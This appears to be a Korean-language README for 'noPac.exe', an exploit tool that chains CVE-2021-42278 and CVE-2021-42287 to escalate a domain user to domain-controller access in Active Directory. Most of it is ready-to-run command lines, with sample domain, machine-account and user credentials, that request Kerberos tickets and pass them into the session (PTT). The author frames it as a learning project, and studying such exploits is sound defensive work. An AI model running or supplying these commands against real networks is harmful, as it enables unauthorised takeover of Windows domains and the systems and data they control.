
CVE-2021-42287/CVE-2021-42278 익스플로이터
이 프로젝트는 noPac의 원리를 학습하기 위해 시작되었으며, cube0x0의 프로젝트를 기반으로 몇 가지 변경을 가했습니다. 소스 코드에 개인적인 이해를 위한 주석을 추가했습니다.
취약점 분석 글은 제 블로그 게시물에서 확인할 수 있습니다: noPac 분석
noPac은 CVE-2021-42278 (sAMAccountName spoofing) 및 CVE-2021-42287 (deceiving the KDC) 두 취약점을 조합한 공격입니다. 이 두 취약점의 이용 조건을 동시에 충족해야만 성공적으로 이용할 수 있습니다.
Examples: Get TGT and ST
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs
Examples: PTT
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
가장 일반적인 방법은 PTT입니다:
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
noPac을 이용하기 전에는 DC에 접근할 수 없습니다.

noPac 이용.
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt

PTT 후 현재 창에서 DC에 다시 접근하면 성공적으로 접근할 수 있습니다.

참고: 이 프로그램은 .NET 4.0+ 환경의 시스템에서만 실행할 수 있습니다. Windows Server 2012는 기본적으로 .NET 4.0을, Windows Server 2008은 기본적으로 .NET 3.5를 포함합니다.
시스템에 설치된 .NET 버전 확인:
dir c:\Windows\Microsoft.NET\Framework64
